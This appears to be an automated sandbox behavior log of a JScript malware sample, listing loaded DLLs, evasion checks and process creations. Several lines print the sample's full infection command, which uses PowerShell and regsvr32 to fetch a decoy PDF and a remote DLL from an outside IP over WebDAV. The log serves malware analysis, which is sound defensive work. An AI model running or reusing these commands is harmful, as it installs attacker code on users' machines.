Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5721			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4141			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7076	Thread sleep count: 5721 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7076	Thread sleep count: 4141 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2632	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7236	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7528	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000003.1283111240.000002AE6472B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1297253139.000002AE6472B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: net.exe, 0000000C.00000002.1296582968.000002AE646C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1283111240.000002AE6472B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1297253139.000002AE6472B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2513269224.0000025080A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.2515262143.000002508625A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
